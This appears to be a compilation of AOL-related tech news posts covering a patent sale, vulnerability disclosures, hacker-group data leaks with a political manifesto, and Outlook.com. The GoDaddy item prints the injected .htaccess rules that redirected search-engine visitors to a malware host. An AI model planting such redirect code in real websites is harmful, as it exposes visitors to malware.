Microsoft Purchased 800 AOL Patents For $1.06 Billion

Microsoft Purchased 800 AOL Patents For $1.06 Billion

AOL manged to increase their revenue of more than $1 billion from Microsoft for a trove of some 800 patents in an auction. AOL said it was selling more than 800 patents related to advertising, search, e-commerce and mobile to Redmond, Wash-based company, surprising investors with the size of the deal and sending AOL shares up more than 40 percent. Microsoft refused to say what the patents cover. Benchmark analyst Clayton Moran said they revolve around Internet technology, including advertising, search, and mapping. This would help Microsoft go up against Google Inc., a big rival that is ahead of it in all three areas.
AOL’s shares surged to their highest level in more than a year following the announcement. The company agreed to sell 800 of its patents and license others to Microsoft for about $1.06 billion in cash. The New York-based website developer and Internet access company said it plans to return some of the sale proceeds to its shareholders. AOL’s move signals that it is listening to stockholders who are asking for more return on their investment. In February, one of AOL’s largest shareholders, an investment firm, said it would nominate candidates for the company’s board because it was not doing enough to make money from its patents. AOL said at the time that it had begun to look at ways to unlock patent value.
After the sale, AOL said it will still hold more than 300 patents and applications covering a variety of technologies, including advertising, search, content generation, social networking, mapping, multimedia, and security among others. As part of the deal, AOL also received a license to use the patents it sold to Redmond, Wash.-based Microsoft Corp. “The combined sale and licensing arrangement unlocks current dollar value for our shareholders and enables AOL to continue to aggressively execute on our strategy to create long-term shareholder value,’’ Tim Armstrong, AOL’s chairman and chief executive, said in a statement.

-Source (Boston Globe)

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iTunes Store Vulnerability Exposed, later Apple fixed that

Apple's iTunes Store had a vulnerability that accepted incorrect passwords from America Online (AOL) users, that could have been exploited by hackers.

Security researcher Joshua Long said he discovered the vulnerability more than six months ago but kept silent until Apple could fix the flaw."Apple recently worked with AOL to fix a vulnerability that has been discovered in the iTunes Store authentication process ... This vulnerability seemed to be a problem in the way Apple integrated AOL user names and passwords into its services," he said in his blog.Before the vulnerability was fixed, he said Apple would accept incorrect passwords from users logging into the store using an AOL Screen Name. Incomplete passwords, passwords with incorrect letter case, passwords with incorrect or extra characters at the end, or a combination of any or all of these, were accepted by Apple. "Knowledge of this vulnerability could potentially have been used by attackers, leading to disclosure of personally identifiable information, identity theft, and fraudulent purchases," he said.Long said the vulnerability took the whole six-month disclosure time limit to be announced.He said Apple was at first unresponsive to the problem and then when it did respond, it was initially unable to reproduce it. "When I discovered this security vulnerability last year, I felt that it was serious enough to warrant submitting it to a responsible third-party vulnerability management organization rather than only to Apple or AOL. I have submitted reports to both companies in the past, and I have found that sometimes it can take them a very long time to respond to a security issue," Long said.He noted that up to now, AOL "still doesn't seem to care about encrypting its Web-based e-mail service, in spite of Firesheep shining a spotlight on the problem last year.""I hoped that bringing in a third party to work with the vendor would help encourage the vendor to take the issue seriously and fix it more quickly," he said.He eventually asked upSploit to help inform the affected parties about the vulnerability and the date on which it will be disclosed to the public. "I believe that upSploit's persistence was a major factor in motivating the vendor to take action and to resolve the issue," he said. 

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Vulnerability Found By BlitzSec & TeamHav0k In Ask.com & AOL.com

Vulnerability Found By BlitzSec & TeamHav0k In Ask.com & AOL.com

Hackers found serious security flaws in one of the world's best search engines AOL.com & Ask.com. A newly formed hacker group named BlitzSec has figure out that Advanced search area of Ask.com & a sub-domain that is toolbar.ask.com is vulnerable to XSS attack which can even lead to cookie catching attacks. In a pastebin release the hacker has disclosed all the vulnerabilities in details. Later the authority has patched the security issue but still the toolbar.ask.com is vulnerable. Earlier two Indian hackers named Minhal Mehdi & NotTy_rAj found XSS vulnerability on Ask.com.

Not only Ask but also AOL previously known as America Online (another very popular search engine) is vulnerable to cross site scripting attacks. This vulnerability has been disclosed by another hacker group named TeamHav0k. In a pastebin release the hacker has posted the vulnerable links. The vulnerabilities are still unpatched.  Earlier this group has found serious security flaws in many high profile sites like Huffingtonpost, EA, IGN, NYTimes, NASA, Sony, Adidas and many more.

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Google, Yahoo, Microsoft & AOL Jointly Enhancing Agari Anti-Phishing Service

Google, Microsoft, Yahoo, AOL jointly enhancing the Agari anti-phishing service. Google, Microsoft, Yahoo, and AOL are providing metadata from messages that get delivered to their customers to Palo Alto, Calif.-based Agari so it can be used to look for patterns that indicate phishing attacks. Agari collects data from about 1.5 billion messages a day and analyzes them in a cloud-based infrastructure, according to Agari CEO Patrick Peterson.

The company aggregates and analyzes the data and provides it to about 50 e-commerce, financial services and social network customers, including Facebook and YouSendIt, who can then push out authentication policies to the e-mail providers when they see an attack is happening. "Facebook can go into the Agari console and see charts and graphs of all the activity going on in their e-mail channel (on their domains and third-party solutions) and see when an attack is going on in a bar chart of spam hitting Yahoo," for instance, Daniel Raskin, vice president of marketing for Agari, told the media in an interview. "They receive a real-time alert and they can construct a policy to push out to carriers (that says) when you see this thing happening don't deliver it, reject it."

Agari doesn't collect the actual messages, he said. Some e-mail providers will take a message that is failing authentication and provide the malicious URLs in it to Agari to pass on to the company whose name is being used in the phishing messages, Raskin said. "Other than that we don't want to see the content," he said.

Google expects Gmail users to benefit as more mail senders authenticate their messages and implement block policies. "Since 2004 Gmail has supported several authentication standards and developed features to help combat e-mail phishing and fraud," Google Product Manager Adam Dawes said in a statement to. "Proper coordination between senders and receivers is the best way to cut down on the transmission of unauthorized mail, and AGARI's approach helps simplify this process."

Agari, which has been operating in stealth mode since October 2009, rejected more than 1 billion messages across its e-mail partners' networks in a year, according to Peterson, who was with the original management team of e-mail security firm IronPort. IronPort got acquired by Cisco in 2007.  

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Library of Congress (Govt. of United States) Under Cyber-Attack, Database Exposed By BlitzSec

Library of Congress (Govt. of United States) Under Cyber-Attack, Database Exposed By BlitzSec 

Official website of Library of Congress (Govt. of United States) faced cyber attack from a newly formed hacker group named BlitzSec. The hackers have found SQL-i vulnerability on the Library of Congress official site which leads them to gain access on the database and exposed many credentials. In a pastebin relase BlitzSec revealed full database including DB Tables, Columns, User-id, Email, Password, Admin details and so on. 

Earlier this group has found serious security flaws in AOL.com & Ask.com which can even lead to cookie catching attacks.

Press Release of BlitzSec :- 

"Congress this is a message to you, STOP passing laws of tyranny, STOP letting those such as Rothschild and Rockefeller control the government.  Get the printing press out of the hands of the FED and back under the houses of congress!  STOP throwing the Constitution of the United States on the ground and using it as your personal doormat, stand by the Constitution, protect it from those who wish to abolish it which inturn will abolish any and all rights we have.  We are in a police state, you have the power to stop it, you have the power to return us back to what we were before thing such as NDAA and the infamous "Patriot Act". 
You say we are the criminals?  You say we are the terrorists, well ladies and gentle men of congress, I'm sorry to say but you are wrong... Dead wrong, you my friends are the criminals, you my friends are the terrorists.  The Constitution is not just "An outdated piece of paper" as you and the rest of the government think, it is what our country was founded the those principles were what helped form this great nations, and you are destroying it now.  If you do not do something soon, you can take our word, We The People will rise up, We The People will put an end to it and We The People will return this country back to its former greatness..."

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The Reason Behind The Massive Cyber-attack On godaddy.com Was A Malware

Hundreds of Go Daddy sites were compromised to point towards a site hosting malware last weekend. The mass hack of around 445 sites involved the injection of hostile code into the .htaccess files of the sites. 

Code:-

RewriteEngine On
RewriteOptions inherit
RewriteCond %{HTTP_REFERER} .*ask.com.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*google.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*bing.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*live.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*excite.com*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*search.yahoo*$ [NC]
RewriteRule .* http://sokoloperkovuskeci.com/in.php?g=916 [R,L] 

Go Daddy quickly removed the hostile code before working with its customers to take back full control of the sites, which were reportedly compromised by a password hack.
Go Daddy’s chief information security officer, Todd Redfoot, told Domain Name Wire: "The accounts were accessed using the account holder’s username and password.”
It's unclear how the passwords needed to pull off the attack were obtained, but some sort of targeted phishing attack is one likely explanation. Go Daddy's investigation into the attack continues but Redfoot suggested the blame for the mass hack was outside Go Daddy's control.
"This was not an infrastructure breakdown and should not impact additional customers," he said.
Web security monitoring firm Securi warned of the mass hack on Thursday. Its blog post about the attack suggests the malicious code was targeted towards surfers visiting the affected domains via Google or other search engines rather than those who had arrived directly. Such trickery is often part and parcel of search engine manipulation attacks designed to redirect surfers hunting for content related to items in the news towards scareware portals. This kind of trickery often takes advantage of insecure WordPress installations and the like, so the apparent use of password-snaffling trickery in this case suggests the bad guys are becoming more aggressive in their hunt for sites they can abuse for their own malicious ends.

-News Source (Register)

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Outlook.com -A New Email Service Introduced By Microsoft

Outlook.com -A New Email Service Introduced By Microsoft  

After successfully revamping it's popular mail service Hotmail through it's look and features with the name of 'Newmail', now the software giant Microsoft has launched a new email service that shares the name of its famed email software, Outlook. Outlook.com is accessible as a preview now, and anyone can sign up for an account. If you already have a Hotmail or Live email address, you can convert that to an Outlook.com address in the settings now. The old Hotmail/Live address remains active--users will still get mail sent to the old addresses--unless you explicitly choose to delete it. The interface is based on Metro, the user interface you see in Windows Phone and the upcoming Windows 8. This means you get a clean, uncluttered design and simple icons familiar to anyone who has used a Nokia Lumia smartphone. Microsoft is not requiring everyone that has a Hotmail account to switch to the new address, but it seems the plan is to eventually have everyone move over.

Research firm comScore says Hotmail has 41 million monthly unique visitors; AOL, 24 million. That makes them the No. 3 and No. 4 e-mail providers in the U.S., behind Yahoo Mail, with 84 million unique visitors, and Gmail, 68 million. Worldwide, more than 324 million people still use Hotmail monthly, making it the top provider globally. But Hotmail's user base is on the decline.

Like many email clients, you get a list of folders on the left navigation bar. What's interesting is the Quick Views dropdown below the folders, which lets you filter certain kinds of email. By default, it filters emails with documents or photos, flagged messages and those that give you shipping updates. That last one will be useful for those who frequently shop online and are always expecting packages. These categories can be customized to suit your needs.

With Outlook.com, you can also turn on a reading pane that lets you read the message either below or on the right of the email list. As a security measure, it shows a blank message by default, and not the first one in your inbox--you have to explicitly click on a message to show it, reducing the risk of being exposed to malicious emails by accident.

On the far right is an advertisement column. This shows a random selection, unlike Gmail, which uses targeted ads based on the content of your email messages. 

To find out more about the features and design of Outlook.com it will be best if you try it out yourself, just visit www.outlook.com and sign up for an account, or simply switch your current Hotmail/Live email to an Outlook.com one.

-Source (Outlook.com, Cnet)

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The White House Is Also Not Supporting Stop Online Piracy Act (SOPA)

Not only Anonymous now even The White House also protested against Stop Online Piracy Act (SOPA) & also PROTECT IP Act (PIPA). House of Representatives bill SOPA and its Senate counterpart PIPA are designed to punish websites that make available, for example, free movies and music without the permission of the U.S. rights holders. Opponents of the bills, however, worry that the proposed laws would grant the Department of Justice too much regulatory power. Google Chairman Eric Schmidt has called the measures "draconian." Other Internet giants who oppose the bill include Facebook, eBay, Mozilla, Twitter, and Huffington Post parent company AOL.

The White House on Saturday officially responded to two online petitions, "Stop the E-PARASITE Act" and "Veto the SOPA bill and any other future bills that threaten to diminish the free flow of information," urging the President to reject SOPA and PIPA.

The statement was drawn up by Victoria Espinel, Intellectual Property Enforcement Coordinator at Office of Management and Budget, Aneesh Chopra, U.S. Chief Technology Officer, and Howard Schmidt, Special Assistant to the President and Cybersecurity Coordinator for National Security Staff. They made clear that the White House will not support legislation that disrupts the open standards of the Internet. 

According To The White House :- 

"...we will not support legislation that reduces freedom of expression, increases cybersecurity risk, or undermines the dynamic, innovative global Internet.

We must avoid creating new cybersecurity risks or disrupting the underlying architecture of the Internet. Proposed laws must not tamper with the technical architecture of the Internet through manipulation of the Domain Name System (DNS), a foundation of Internet security. Our analysis of the DNS filtering provisions in some proposed legislation suggests that they pose a real risk to cybersecurity and yet leave contraband goods and services accessible online. We must avoid legislation that drives users to dangerous, unreliable DNS servers and puts next-generation security policies, such as the deployment of DNSSEC, at risk."

For more information & to see the entire post click Here

-Source (Huffington Post)

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